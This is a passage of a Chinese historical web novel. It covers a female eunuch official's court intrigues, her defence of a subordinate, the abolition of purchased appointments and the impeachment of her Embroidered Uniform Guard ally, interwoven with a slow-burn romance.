如今终于切身实地体会到一句话的含义——你永远叫不醒一个装睡的人。 停了一会,像是时间暂停,兀自也感受了片刻这指尖相触的温暖,待到看清这暖阁内的景象,白惜时才又开始动作,改为将手指从男子的掌心抽回。 但这家伙握得可真用力啊,她一根手指一根手指的向外拔,最后一根食指,更是感受到指腹与掌心间的寸寸摩擦,他的无声挽留,白惜时的望而却步。 是的,她的秘密顾虑太多,她也确实还没有想好。 最后一根手指解脱出来时,是一种说不上来的感受,既重获自由,又莫名虚无,白惜时索性起身,不想再深究为何会产生这样的情绪,然而一低头,又看见那张还没来得及盖上去的薄毯。 此刻拿着倒颇觉不好处置,再给他搭上去,倒显得多认同他方才的举动似的。 冲动之下,干脆随心所欲扔过去,直接解气般一把盖在了男子的脑袋之上。 继而才起身立于床边静看向解衍,眸光注视片刻,白惜时转身,绕过那瓶踢倒的绿梅,回到了寝卧之中。 而在白惜时的脚步声彻底消失之后,床榻上的男子亦重新睁开眼,拿下了那张薄毯置于身前,半晌之后,露出一个清浅的笑。 第68章 第68章 白惜时以为自己会彻夜无眠,然而后半夜没想到竟不知不觉就这样睡了过去,一觉醒来,已经快到早朝时间,兀自穿戴好后走出寝卧进了暖阁,这个时候解衍也已起身,整个人洗漱完毕正神清气爽的于暖阁内锻炼。 没错,锻炼。应该是在做类似于平板支撑的动作……瞧着还真是,精力旺盛。 见到白惜时走出,解衍曲腿起身,出门从暖阁外接过小太监递进来的一应洗漱之物,继而放置到了铜架之上。 白惜时看了他一眼,没说什么,径直走过去洗漱。 “孟姑姑送来的垫褥,今日可要帮掌印铺起来?” 待到白惜时擦干净脸颊,解衍于身后问了一句。 “你还会铺床?”将巾帕叠好重新置于铜架,白惜时问了一句。 “嗯。” 养父去世后,他与妹妹在解府有段日子并不好过,那时候没人帮忙,很多事情便养成了自己动手的习惯。 白惜时瞧着他,应当是也想明白了个中缘由,这人虽于世家大族中长大,倒真不像个公子哥。 思及自己的卧塌之上并没有放置什么隐私之物,又看了看此刻已经走到圈椅边预备拿起那垫褥的男子,既然他愿意来便他来吧,也省的到时候自己动手。 遂转了个身,白惜时领着解衍进到了自己的卧室之中。 这应当也是她第一次允许外男涉足此处。 早朝的时间颇早,兼之白惜时又要提前起床,此刻连太阳都没有升起,因而整个房间也十分昏暗,唯靠两盏摇晃的烛台将这一方小天地照亮。 解衍便在这光线中有条不紊的帮白惜时收拾床铺,拿起枕头、被子,铺开垫褥,再将上头的寝具铺平摆回原处,动作熟练利落,看上去的确很擅长。 白惜时靠坐于旁边的茶案,一边吃些垫肚子的清粥,一边又觉得这画面有些眼熟,仔细一想,应当是以前在军营中魏廷川受伤,她也帮世子做过同样事,只是如今时移世易,竟没想到也有人愿意帮她做这些了。 当时在军营中的心情还历历在目,不知解衍眼下,又是作何感想? 不过很快白惜时便有些后悔同意男子方才的提议,不该让他进来的,既然明白自己当时的心境,便该多少能够体会解衍当下的所思所想。 以一个内宦的身份,她又能给对方什么结果? 她这辈子,不可能嫁人生子,也没可能与另一个男子相伴携手一生。 谁又会什么都不图什么都不要,甚至连一纸婚书一个名分都没有,就这么陪着她走完这一生? 那样对对方,亦不公平。 想到这白惜时放下未喝完的清粥,在男子看不见的地方轻摇了一下头,摇去她的一时糊涂和感情用事,见解衍此刻已经收拾妥当回身望向自己,白惜时笑了笑,笑得多少有那么些不近人情。 “没看出来你还挺贤惠,以后若是娶妻,应当也可替对方分担不少。” 她说得漫不经心,起身戴上青纱官帽,开始为上朝做准备。 闻言整个人都停滞片刻,解衍再回答的时候很果断,“我不会娶妻。” 白惜时立于镜前,边整衣袖边抬眼看他,“为何?” “属下并不喜女子。” “不喜女子?”白惜时重复了一遍,没有回头,而是透过镜面看向身后已然走近的男子,“我倒不知,你还有这样的癖好。” 解衍在于白惜时半步之遥的地方停下,同样面对镜面,望进身前之人的眼睛,“属下喜欢男子,掌印原来不知晓?” 白惜时不动声色,“我为何会知晓?” 又跨近一步,将那半步的距离也消弭殆尽,解衍稳稳立于白惜时身后,胸膛于她的脊背紧余半拳距离,二人视线在铜镜中交汇。 “我以为掌印应当知晓。”片刻之后,只听男子低声道。 “咱家不知。” 白惜时回身,面对面,抬头意有所指地看向解衍,“也不想知晓。” 说完便欲绕过他朝外行去,然而擦身而过之际,手腕却被人紧紧扣住。 男子什么话都没说,抬手、凝眉,专注将白惜时鬓边一缕遗漏的碎发别进官帽之中,继而才稍稍退开一步,左右端详片刻。 “掌印会知晓的。”他如是说道。 话音落地,随即便瞧见白惜时略微蹙眉却实则并没有避讳的举动,方才那亦丝晦暗瞬间被抹去,解衍眼眸一弯,犹如一颗顽石入湖,顿生涟漪。 继而很快松开了高高在上的掌印大人,像是知道再等下去她就会发作,男子侧身拿起搁在一旁的外袍,调转步伐,离开了这一室昏黄。 徒留白惜时一人于屋中,半晌之后,缓慢又徒劳的眨了下眼。 一上午因解衍那厮的影响,白惜时难得有些心绪不定,索性今日朝堂亦无甚大事,天子也并未问及她的意见。 本以为今日就这般与往常无二的过去,中午时分江小锁却急急从内学堂赶回来,说是赵岳与人在宫门前起了冲突,眼看就要被人拿下惩处。 闻言搁下手中的笔杆,白惜时:“他与谁人起了冲突?” “是那些皇亲国戚的伴读,反正家中应当也是当大官的,看着和赵岳原先就认识。” 江小锁的模样尤为着急,“掌印,您快跟我去看看吧。” 皇亲国戚? 今日确实听闻有两名宗室子分别去御书房、慈宁宫给皇帝和太后问安,但应当并不会经过内学堂,思及此已然起身,白惜时一边让江小锁带路,一边让他将事件经过说与自己。 原来今日下学路上,二人恰遇见秉笔周子良,秉笔说宁安世子的一套笔墨丢在了太后处,眼下世子应该尚未出宫,让赵岳腿脚快些,给宁安世子送还回去。 但是就是在送笔墨的时候,赵岳却与宁安世子的伴读发生了口角。 那伴读原先应当就与赵岳府上不大对付,见到如今已是内宦的赵岳,言语间极尽嘲讽,不仅斥他是罪臣之子罪有应得,还故意没接稳那套笔墨,致使散落一地,且神色倨傲让赵岳重新从地上一个一个给他拾起。 然后赵岳冲动之下,就直接将人给打了。 伴读被一个内宦冒犯,宁安世子被人奉承吹捧惯了,知道后又岂能轻易饶过? 赵岳在众目睽睽之下打的不仅是伴读,亦打的是宁安世子的脸面,因而他很快闹将起来,着人将赵岳拿下,并口口声声要禀明圣上,当面治赵岳的罪。 踏出司礼监之际,这时候亦有小太监来报赵岳之事,只说那被打的伴读也已找来了此刻同在宫中的伯父——太常寺卿朱寿,眼下正要与宁安世子一起施压处罚赵岳。 这种事情,即便宁安世子不懂事闹到皇帝面前,为了一个內宦,天子自然不可能亲自出面,最后还是会落到白惜时这里。 为免赵岳吃亏,也欲快些解决这场闹剧,白惜时加快脚步,然而不想去到宫门却发现被强押着跪在地上的赵岳此刻竟已被另一个人率先扶起,而那个人,正是滕烈。 方才还恶狠狠压制住赵岳的几个官兵,见到来人亦后退数步,没有再因世子的不忿而贸然上前。 滕烈今日也恰好进宫? 朱寿看到侄儿被一个太监打了自然咽不下那口气,何况他们朱家本就与赵家有过节,刚要借此机会好好教训一通这不知天高地厚狗奴才,不想滕烈却突然出现,还让那奴才重新站了起来。 不过此人毕竟是锦衣卫指挥使,朱寿亦不敢太过造次,只愤愤不平道:“指挥使这是什么意思,一个太监敢打朝廷命官之子,难道还有理了不成?” 滕烈扫了眼那伴读,冷酷依旧,“赵岳已说,是此人侮辱在先。” “他一个阉人难道还打不得骂不得了?卑贱之身本就是伺候人的命,说他几句又如何?他于皇宫之中动武,如此行径无异于冲撞世子,指挥使,难道如此僭越之举也要姑息放任吗?” 赵岳也曾经与那伴读是同等身份之人,如今已然饱受宫刑之苦,又何至于再受这般言语折辱? 闻言无动于衷,滕烈似是懒得与此人多费唇舌,整个人冷面不可撼动,一副赵岳我今日就是护定了的架势。 宁安世子见此情状亦是恼怒非常,但毕竟也只是个少年人,畏于滕烈的权势没有再言语。 朱寿仗着还有世子撑腰,便又质问了一句,“他赵岳如今算个什么东西,指挥使为何要一味袒护?” “卑贱之身,伺候人的命……” 这一回不待滕烈回应,白惜时已经从后方缓缓走出,踱步来到几人中间,待看清赵岳脸上亦被人狠狠打过的印迹,白惜时冷笑一声,“朱大人,您这是在骂赵岳,还是骂咱家呢?” 朱寿被他笑得莫名生出一股胆寒,但顿了顿,大庭广众之下还是捏紧了拳头,“掌印,是这赵岳打人在先,说起来您就是这般教导底下之人的吗?” 一步步走至朱寿面前,白惜时眉眼锋利、一针见血,“啧~既然知道是我的人,朱大人还是不肯放过,看来此行不是针对赵岳,而是对着咱家而来。” 朱寿闻言,身形莫名心虚一晃。 没有错过他那下意识的反应,白惜时笑意不达眼底,“但朱大人你不要忘了,赵岳是我底下的人,更是司礼监之人,司礼监伺候的从来都只有天子一个,主子自然也只认一人。” “即便是奴才,赵岳他也是天子的奴才,难道天子之人也要对他一个伴读三跪九叩吗?” 说到这,白惜时沉声质问:“他哪来的脸面?哪来的胆量?!” 一连三问,直接将朱寿和宁安世子定格在原地,浑身更因白惜时方才之语起了一背密密麻麻的冷汗。 白惜时:“朱大人说赵岳不尊重世子?那么敢问世子伴读言语不敬,刻意让服侍天子之人为他一个白丁拾捡笔墨,你这所谓的朱家之后又尊重天子了吗?” 直到此刻终于明白事态之严重,白惜时若是真想上纲上线不肯轻饶,恐怕他们非但处置不了赵岳,还要被白惜时扣上大不敬的名头。 半天之后终于捡回言语,朱寿反应过来拼命反驳,“白惜时,你,你休要胡言乱语,你这就是分明就是混淆是非,仗势欺人。” 闻言冷哼一声,白惜时锋芒毕露,反问了一句,“即便是欺了,朱大人又能奈我何?” 言罢不欲再于此处浪费时间,白惜时看了一眼滕烈身侧之人,气势不减,回护之意亦没有刻意掩饰,“赵岳,我们走。” 第69章 第69章 白惜时带着赵岳回到了司礼监,看了眼少年脸上的伤,亦看清对方明显知道犯错惹祸又因倔强自尊不好意思低头认错的纠结,白惜时最后什么都没说,先让汤序先带他下去处理伤口。 有些话等他平复下来,再说不迟。 继而目光微移,此刻看向同步走进内堂之中的滕烈,白惜时眉心微蹙,与那人推心置腹道了一句,“指挥使不该牵涉进此事。” 今日之事仔细想来还是有些蹊跷,送笔墨的小太监可以有很多,也应当有很多人愿意做与权贵打交道之事,但周子良偏偏选中自尊心强又与那伴读有过节的赵岳,这单单只是个巧合,还是有人等着看赵岳受折辱、被激怒? 周子良身为秉笔心思缜密,叫赵岳去办这趟差事并不妥当,他应当不会想不到。 那么如若是故意,周子良的目的又是什么? 滕烈看上去却并未有白惜时这般顾虑,走到案几前,站定,“见到赵岳受辱,我不可能置之不理。” 白惜时:“我是担心有人另有图谋。” 众目睽睽之下,滕烈站出来回护一个司礼监的小太监,还是牵扯进定国公谋反的叛党之子,若是被人拿去做文章,滕烈少不了被人参上几本。 “若有图谋,此事不成,亦会再生事端。”滕烈面容冷静,言语间尽是身为锦衣卫指挥使不惹事,但更不怕事的气势底气。 白惜时闻言笑叹一声,“还是你看得开。” 滕烈八风不动,“有事便冲着我来,你坐镇好司礼监,无须忧思过重。” 这话说得倒是颇讲义气,但白惜时实在不是个善于煽情之人,说不出你真是我的好兄弟,不如咱们拜把子这种收买人心的话,遂干脆跟他半开玩笑似的打了个岔。 “主要是锦衣卫难收买,好不容易咱家在你这还有点起色,共事也算顺利,你若出事又得再费一番心力重头再来,怎么想怎么不划算。” 滕烈听完,突然问了一句,“掌印打算如何收买我?” 从古至今,收买人心之物无非就那么几样:金钱,权势……美人。 脑海中莫名在最后两个字定格了片刻,滕烈看了白惜时一眼。 白惜时不假思索,“智慧的头脑。” 滕烈:“……” 看对面之人似乎有些凝滞之态,白惜时补充了一句,“两肋插刀的赤诚?” 滕烈下意识答了一句,“不用你替我插刀。” 知晓自己方才想法之荒谬,亦知晓不会听到自己想要的答案,男子言归正传,“说正事。” “我此次前来还有件事要告诉掌印,经近来观探,祈王似与太后不睦,二人没有看上去那般感情深厚,祁王虽身体欠佳却不至于卧床不起,然太后几次传他,他均以体虚为由推脱了。” 滕烈说到这顿了片刻,“不过并未观察出什么不臣之举。” 白惜时听完点头,“如若只是与太后合不来,倒不是什么紧要之事。” 滕烈:“赵岳在太后处,应当也是听她提了几次对赵父的扼腕叹息,致使赵岳想到父亲行刑时的惨状,心念不稳。” “赵岳告诉你的?” “是。”滕烈紧接着眉心一凝,“不知太后此举何意。” 为以儆效尤,赵岳是被押到刑场上亲眼目睹自己的父亲被处以极刑的,对于一个少年人来说,旧事重提,无异于揭开伤疤,加深梦魇,让好不容易要凝固愈合的伤口再次血肉模糊。 而太后对一个小小的内宦如此,确实让人想不出理由。 听来只像是无心,但自小长在深宫之中,白惜时明白万事皆不可大意,兼之今日送笔墨之事亦是从太后之处而起,致使她与滕烈一般,不得不探究起太后的目的。 滕烈走后,白惜时又唤来赵岳与江小锁,与二人算是心平气和的谈了一谈,大道理说了一通,最后还是选择以安抚收尾。 “我知你二人均有分寸,不会随意与人起冲突。以后能忍的便忍着,不能忍的时刻记着,内宦不比任何人矮半分。” 江小锁睁大眼睛,高兴看了赵岳一眼,“掌印,您这是不怪我们的意思?” 白惜时设身处地带将自己带入赵岳,随之一叹气,“算了,打了便打了,是我也可能会动手。” 说完又觉得自己有鼓励动武之嫌,白惜时咂摸了一阵,试图往回拉一拉,“不过能不惹事还是别惹事,特别是那些皇亲国戚、三品大员,记得回来同我知会一声。” 本以为出了今日之事,掌印回来至少要训斥两句,如今见他如此,赵岳反而更加过意不去,低头道:“掌印,今日是我一时冲动,给司礼监添了麻烦。” 江小锁却没管这些,更加好奇望向白惜时,“掌印,是三品以上咱们不可得罪的意思吗?” “不是不可得罪。” 白惜时:“不过总得给咱家有点时间准备,那些权贵烦人的很,不好对付。” 言下之意,是让二人不要贸然行事,有什么冲突她会替他们出头解决。 江小锁听完欢呼一声,恨不得冲上去一把抱住白惜时,原先在老家的时候若是受了欺负,爹爹都是告诉他忍忍就过去了的。 “行了。” 见小锁连带着赵岳的情绪都有好所转,白惜时也露出了些笑意,挥了挥手,“出去吧,记着每日的功课不得落下。” 下午的时候,内阁上了一封奏折,直言近来天象有变,首辅李大人以天象之变为引,奉劝天子取消传奉官一职,并力陈传奉官积弊。 周子良拿到这封折子的时候,特意来请示白惜时,以示尊敬和诚意。 知道这一封折子呈上去必得一石激起千层浪,亦会撼动不少人的利益,白惜时沉吟片刻,将这封折子扣了下来,决定明日亲自呈给天子送目。 传奉官是天子直接任命的官吏,如此不经吏部选拔考核,直接将官爵视为私物随意任命,其实是为满足皇帝、后宫宠妃乃至宦官的一己私欲,也易造成卖官鬻爵的情况发生。 李大人一直都在等待一个时机,皇帝信神佛,他便以天象示警为切入口,奉劝天子尊崇天命,取消传奉官。 这封折子,白惜时其实是赞同的,但兹事体大,一旦取消便是废除近百人的官职,她也明白后续会带来的连锁效应。 除此之外,秉笔周子良的态度白惜时也一直看不透。 周子良与梁年不同,梁年、白惜时二人是明面上的不对付,人尽皆知。但周子良事事以白惜时为先,她所交待之事周子良也都配合完成,唯独偶尔几件小事处理欠妥,又令白惜时觉得此人不可尽信。 就如赵岳送笔一事,白惜时向他责问起来,他认错态度端正诚恳,咬定自己只是一时疏忽没有考虑清楚,白惜时若是再问,他一个秉笔恨不得要去向赵岳道歉。 但往往越是摸不清,白惜时反而越觉得危险。 傍晚时分解衍来的时候,白惜时正坐在案几前望着那封奏折,一动未动。 得知这封折子的内容后,解衍亦严肃了眉眼,“掌印亲自呈上去,是想替周大人一起劝说天子取消传奉官之事?” 白惜时:“是。传俸官中涉及部分内廷画士、工匠,天子应当也会询问内廷意见。” 解衍:“如若传奉官被取消,掌印需得做好被弹劾的准备。” 顷刻之间动了这么多人的利益,被找机会报复的可能性会很大。 说罢又补充了一句,“尤为要小心有人在赵岳之事上做文章。” 今日上午宁安世子之事眼下已在宫中传开,解衍同样有所耳闻,也觉得蹊跷。赵岳身份特殊,乃谋反叛党之子,又是李大人拜托白惜时看顾之人,白惜时今日的当众维护很容易被人当做一个指摘的切入口。 白惜时显然也想到了这一点,微一颔首,“我知道。” 解衍凝神细思,片刻之后,又露出一个安抚的笑,“不过赵岳之事若是落在掌印身上,应当撼动不了什么根基。” 因为白惜时是传递定国公谋反的第一人,即便与赵岳牵扯上关系,皇帝亦不会轻信白惜时与叛党有牵连,这也是白惜时当初能够答应李大人照顾赵岳的原因之一。 发现解衍与自己想到了一处,白惜时向男子微微侧身,“我也是这般考虑,即便被弹劾,亦不能将赵岳之事牵扯进李大人。” 解衍认同她的说法,但看着对面之人仍紧蹙着的两道眉头,停了片刻,温声劝慰道:“既然掌印均已考虑周全,就不要思虑过重,今日早些去睡养好精神,明日也好全力以赴应对各种状况。” “咱家知道,一会就去。” 一听睡觉,白惜时便开始敷衍,自来了司礼监之后她已经养成了夜猫子的习惯,睡前总要当日之事都过一遍,向来也睡得迟。 解衍自然知道他的习惯,也看出了他的应付了事,遂立于白惜时近旁,弯腰又问了一遍,“准备什么时候去睡?” 白惜时看向此刻靠近的男子,“说了你就会信?” 察觉到白惜时此刻依旧兴致不高,应当是被几件事同时烦扰,仍有忧虑,有意让他放松心情,解衍遂又凑近了些,颇为有耐心地望进她的眼睛里。 一手撑在白惜时的椅背之上,男子配合的一点头,“骗骗我,说说看。” “……” 唇角莫名牵动,在与解衍无声的对视中,纷杂的思绪仿佛被一汪清泉抚平,良久之后,白惜时舒出口浊气,继而移开视线,望了眼门外的天色,“还不走?一会宫门又要落钥了。” “没关系。”解衍却很从容地冲她摇了摇头。 闻言一顿,随之身体微微后仰,白惜时转为眯着眼睛看他。 解衍很快在他的审视中笑了起来,“今晚我住卫所值房。” “掌印方才这般惊讶,以为我会住于何处?” 自然听出他语气中的调侃,白惜时瞥了对方一眼,“咱家以为你要去睡殿前大街。” 虽为挤兑,但此刻的白惜时神色已明显缓和下来,眉目也随之舒展,解衍又确认了一遍,才笑着直起身。 继而在离开之前,男子正色,对白惜时说了一句话。 他说的是,“掌印,认定了就大胆去做,明日我会一直在御前。” 第70章 第70章 第二日早朝前,白惜时将那封力陈传奉官之弊的折子递到了御前。 前段时间因星变,天子要求臣民广开言路,上书言事,首辅李大人抓住时机,联合内阁大臣欲借天象预警转变滥设传奉官之象,肃清朝政。 早朝之上,九卿大臣、给事御史得知上奏此事,一半之众出列赞成,直言邓常、王恩两位僧侣为“妖僧”,并抨击向天子推荐“妖僧”的通政司左通政谭永生尸位素餐,专攻邪术,借以传奉官收受贿赂,干预官员进退。 通政司左通政谭永生因惯会逢迎拍马,自贵妃胞弟俞昂出事之后,迅速取得俞贵妃信任,与西厂邹龙春同为俞贵妃亲信,兼之此人好方术,逐渐受到天子的宠幸,时常允许他密封奏请。 谭永生为官不正,之前不是没有人弹劾过他,但上奏弹劾的臣子随后不是被贬谪便是被驱逐,自此无人敢于轻易招惹,但朝臣不满传奉官久矣,此次无异于群起而攻之,一时之间,朝堂之上吵得不可开交,直到退朝尚没有定论。 如此结果,亦在白惜时的意料之中。只因此事涉及面广,一取缔便是近百人的官职落地,且里头多涉及天子、宠妃亲信,皇帝亦有所犹豫。 退朝之后,首辅李裕、谭永生等七人被天子召于勤政殿再议此事,因传奉官中还涉及内廷工匠、画士,白惜时同样被宣于殿中。 除皇帝之外,首辅、吏部、都察院均立场鲜明,痛陈传奉官败坏吏治,而通政司等剩余三人试图混淆概念,专注于解释传奉官与星象之变无关,礼部则持中立之态。 一番辩驳下来,除去耍滑头的礼部,双方意见恰好是三对三,天子坐于龙椅之上似有所感,却没有立即表明态度,片刻之后,将目光移向白惜时。 “既然此事与内廷也有几分关系,惜时可有什么要说的?” 皇帝话音一落,顷刻间,勤政殿内几道视线均向白惜时投了过来。 白惜时的意见重要吗? 观察皇帝此刻的神情态度,白惜时看得出他心中已有倾向,若是此刻想要明哲保身、左右逢 源,其实可以如礼部一般,不表态。 但从昨日便已经下定决心之事,白惜时亦希望能尽快让皇帝将倾向变为定夺,以免迟则生变。 思及此,白惜时目光磊落,躬身肃容:“奴才亦呈请裁撤传奉官一职,以杜绝卖官鬻爵、谋取私利之患,肃清吏治。” 此话一出,谭永生第一个朝白惜时望过来,目光怨毒。 谋取私利?白惜时这是在点他! 天子闻言,半晌之后闭眼点了点头,继而大手一挥,“今日便先到这,朕自会考量,都退下吧。” 随着一声沉闷的声响,紧闭的勤政殿的大门再次从里头被推开,首辅李裕在出门之际,向白惜时投来一瞥,继而什么都没有说,点头擦身而过。 白惜时抬步跨过门槛,此时外头风雪正盛,有小太监见白惜时就要这么走出去,赶忙过来殷勤撑起一把伞,遮于她的头顶上方。 白惜时见状一摇头,继而接过伞柄,独自踏入了风雪之中。 一路目不斜视,唯有在经过那如雪中青松般的男子之时,伞柄微斜,白惜时偏过头去,借着这油纸布面的遮挡,望向解衍,笑意径自于唇角蔓延。 这一笑,如云销雨霁、艳阳初绽,解衍就这样看着白惜时只展露给他一人的柔和,心脏莫名一停,待反应过来,知他一切顺利,很快也冲对方缓一眨眼,眸中蓄满细碎星光。 人群之中隔绝视线,虽只是这么短暂一瞬的相望,似乎也互相给足了对方力量和勇气,于这漫天风月之中寻得一线天光。 伞柄重新摆正,白惜时稳步走下玉石阶,众人再望过去,仍是那个重权在握、威仪不减的司礼监掌印。 不过待离开了御前,很快,前头又有一人挡住了白惜时的去路。 掀起眼皮,看向谭永生那张怒气横生的脸,白惜时毫不意外,漠然停步,立在了于那人五步之外。 “白惜时,本官与你无冤无仇,平素也井水不犯河水,你何故要如此害我?” 谭永生:“贵妃娘娘现已知晓方才之事,特命我来问你一问,她对你往日的提携恩义全忘了不算,如今为何还要百般刁难,倒打一耙?你就是这么给人当奴才的吗?” “你一个内宦,忘恩负义,竟还上赶着巴结内阁那群老臣,怎么,真将自己当成那治世能臣了不成?可笑,简直可笑,白惜时你沽名钓誉!” 白惜时听完仍旧冷眼相视,无甚波澜,“身为内宦,难道就只能与谭大人这种人为伍?” 谭永生言语极尽嘲讽,“怎么,白公公难道还指望百年之后贤臣榜上能有一个内宦的名字不成?” 白惜时:“只要不与谭大人同在一榜,便是吾生之愿。” 言下之意,谭永生是要上那佞臣榜的。 谭永生听完阴毒一笑,狠狠盯着对面之人,“白惜时,娘娘这次对你绝不会再对你心慈手软。” 相比于谭永生的怒不可遏,白惜时此刻冷静的可怕,未在此地再耽搁功夫,她嘴角淡扬,漫不经心地敛眸,越过一路瞪视自己之人。 “替咱家向娘娘问安。” 她无意针对贵妃,但她亦知道,再怎么解释,如今亦只是徒劳。 那便这样吧。 尚未到正午,白惜时又被重新召于勤政殿,这一次,是天子吩咐白惜时奉旨传诏。至此,传奉官一事终成定论,天子下令取缔所有传奉官,同时贬通政司左通政谭永生为七品上林苑监丞。 在得知这个消息的时候,白惜时心绪算得上平静,今日在殿内观天子态度,她亦已经判断到会是这样的结局。 人无完人,天子自然也会有所偏好,有宠幸偏袒之人,但大是大非面前,他不糊涂。 朝臣得此消息欢喜非常,内阁几位老臣连带白惜时都没放走,拉着她一起絮叨了半天皇帝圣明,白惜时不便推辞,竟也真就坐下来与他们吃了一会茶。 若是一年前的白惜时大概绝对想不到,自己也能有与朝臣和睦相处的一天。 时间真是个奇妙的东西。 后续一连几日,朝堂之上均无大事发生,眼看又恢复了往日的平静。 直到七日后,两封长达数页的奏章被直接送往天子案前,天子看完,许久都没有说话,继而,看了白惜时一眼。 只那一眼,白惜时便知道这封意料之中的弹劾之信终究是来了,并且没有通过内阁、司礼监,直接由西厂向皇帝回禀亲呈,甚至没有避讳白惜时就在当场。 不过当真正看到折子上的内容,白惜时即便早有防备,一颗心依旧骤然一沉。 他知道弹劾会来,但没想到等来的不是自己的,而是弹劾首辅李裕和锦衣卫指挥使滕烈的折子。 尤其是滕烈的一书中,前头一看就是些子虚乌有的编排杜撰,并不可信,而真正直击要害,且能让天子面露不悦冷眼扫视白惜时的,是最后一行中的四个字——“厂卫联合。” 东厂与锦衣卫亲密无间,犯了皇帝之大忌。 白惜时直至此刻也终于明白,那日周子良让赵岳去送笔墨的目的,他是算准了滕烈彼时会经过宫门,也算准了滕烈对赵岳的回护,这是一场蓄谋已久的设计,就是要在众目睽睽之下让大家看清锦衣卫指挥使与白惜时的交情匪浅。 否则,滕烈一个素来冷情冷性,与叛党之子八竿子打不着的人,又为何会对內宦赵岳照拂有加? 这封折子,虽看似弹劾滕烈,但“厂卫联合”的矛头同样也指向了白惜时。 不过如此精妙之局……白惜时冷眼看着折子上的每一个字,倒实在不像是出自贵妃手笔,而更像是有人刻意将此事透露给贵妃和西厂,想要挑起自己与贵妃争斗,继而两败俱伤,坐收渔翁之利。 也是就说,即使没有传奉官一事,这背后之人也定会另起祸端,让贵妃与自己的矛盾升级,从而借刀杀人。 原来那日在后宫察觉贵妃被陷害的同时,自己也早就落入了他人设计,白惜时在心中自嘲之余,此刻也更加清醒的认识到,她的敌人,从来都不是贵妃,而此人仍藏在暗处连一个头都没露,但秉笔周子良,必定是此人的爪牙。 于短暂的时间内简单缕清思绪脉络,再于折子中抬起头时,天子正观察着白惜时看完奏章后的表情。 “朕竟不知,你与滕烈如此交好。” 静静审视了白惜时半晌,天子开口,突然对白惜时说了这么一句话。 闻言面色如常,白惜时阖上奏折,恭敬送回皇帝的案桌之上,“不过奉命共事过几回,算得上熟悉,却并未到交好的地步。” “是吗?”天子听完未置可否,停了片刻,转而又问了白惜时一句,“你觉得滕烈此人如何?” 白惜时略一思考,淡定回禀,“尚可。虽偶尔行事未能十分配合东厂,但应当是个正直之人。” 她说的是对滕烈的最初印象,这个时候不可过于撇清关系,亦不可过于维护,每一个字均需谨慎斟酌。稍有差池,便很可能在皇帝心目中坐实了“厂卫联合”之嫌。 这一次白惜时回答过后皇帝没有再问,而是拿起那折子从头到尾又翻了一遍,视线在最后四个字上定格了须臾,继而眉峰一蹙,沉声开口。 “宣滕烈进宫面圣。” 说罢又一侧头,“惜时便也无须出殿了,一起陪朕等着罢。” 70-80 第71章 第71章 天子不让白惜时出勤政殿,含意不言而喻,他是不欲让白惜时与滕烈有事先商量串供的机会。 白惜时自然明白这一点,听完天子一席话后一切行事如常,期间还为天子沏了盏新茶,仿佛“厂卫联合”只是无稽之谈,但只有她心里知道,自己绝没有看上去的那般平静。 滕烈会如何应对? 半个时辰之后,随着小太监一声奸细的通报,勤政殿外逆光走进一个高大的身影,男子身着飞鱼服,面容肃穆、脊背笔直,随着殿门的开合,寒风随男子一同涌入,紧接着一股独有的冷冽气息便扑面而来。 是身为锦衣卫指挥使的气势。 滕烈站定,行礼,发现白惜时同在殿内,并没有什么多余的表情。 目光在白惜时与滕烈之间一扫而过,皇帝没有去唤白惜时,而是召来一旁的随侍太监,命他将折子给堂内的男子递了过去。 “看一看,有什么要说的。” 此刻已经敏锐的察觉到殿内的沉闷压抑,滕烈不动声色,接过折子,翻开。 一目十行看完前面的内容,待到最后一页,视线于“厂卫联合”四个字上划过,滕烈没有多做停留,漠然合上折子,给小太监还了回去。 滕烈:“皆是无中生有之言,臣无话可说。” 皇帝:“东厂与锦衣卫近来办的几件案子朕皆十分满意,如今想来确实配合默契,你是个难驯服之人,倒没想到与惜时颇为合得来。” 白惜时听到这句话,整个后背都下意识紧绷起来,于天子身后望向着滕烈。 如何破局? 其实到现在连白惜时自己都没有眉目。 也是直到此刻,滕烈才抬首正式看了白惜时第一眼,那一眼冷肃无波,这么多双眼睛望着,他不可能显露多余的表情,但白惜时却似乎还是从这一眼中看出男子已经做好好的决断。 心底莫名一沉。 “不打不相识。” 滕烈语气没什么起伏,就像在陈述一件稀疏平常的事实,“之前与掌印多有龃龉,近来确实做过尝试,想要消弭误会。” 此话一出,便是将白惜时撇干净,责任揽于自身,言下之意是锦衣卫向白惜时投诚,并且将性质定在了尚有龃龉,但有心缓和之上。 也是间接告诉皇帝,厂卫还未到亲密合作的地步。 短暂波动之后,白惜时收回目光,她明白现在不是动容受感于滕烈的时候,因滕烈的一句话,白惜时也在迅速调整着自己的反应,什么反应,才让天子最大限度卸下戒心? 以她对天子的了解…… 皇帝听完之后,果然没有再看滕烈,而是转过眼来,如同对证般问起白惜时,“你二人有何龃龉?” 白惜时换上了一副神色。 闻言,她闭口不言,眉宇间也闪过一道隐晦,倒一时叫人看不出是答不上来,还是不愿提及。 天子就这么一瞬不瞬地盯着白惜时。 迫于天子的压力,白惜时硬挺了片刻,最后似是不得不咬着后槽牙看了眼左右,面上闪过一丝不光彩的神色,“滕指挥使曾嘲弄过奴才……” 白惜时欲言又止。 皇帝沉声不耐,“今日说话为何如此吞吞吐吐?” 白惜时:“滕指挥使曾嘲弄奴才没资本还狎妓,沉迷女色。” …… 索性一股脑说出来,白惜时说完便满含愠怒地瞥了滕烈一眼,像是不再掩饰那埋藏于内心的记恨,仿佛身为掌印和男性的自尊都在此刻被按在地上摩擦,皇帝闻言面色一滞,显然也是没想到二人龃龉竟因此而起。 转眼,再观滕烈的表情,在白惜时的目光下男子微怔,继而亦是一副晦涩的神情,其中的尴尬与回避倒不似作伪。 若不是真事,滕烈不会有如此微妙的反应。 天子隐约可见的松弛了一些下来。 皇帝:“那又为何想着要缓和?” 滕烈:“厂督与掌印,身份不同,锦衣卫行事亦不想受到掣肘。” “所以臣想通过赵岳,缓和与掌印的关系。” 言下之意,白惜时从厂督升为掌印,随着权力的攀升亦可行为难锦衣卫之事,滕烈为避免类似情况发生,选择主动与白惜时拉近了关系。 如此解释,合乎情理,而关乎男性自尊的恩怨,任谁代入,都是一朝一夕难以消弭的。 此刻似是终于有功夫喝上一盏热茶,待那汪温水入腹,皇帝目光投向桌角的弹劾之信。 “既然折子送上来了,不得不查。” 天子于龙椅中沉吟片刻,白惜时亦因他的停顿而全神戒备,虽皇帝看起来已无方才那般不悦,但如若将此事交由西厂,滕烈不仅难逃皮肉之苦,邹龙春也定会想方设法将“厂卫联合”的罪名重新给二人安上。 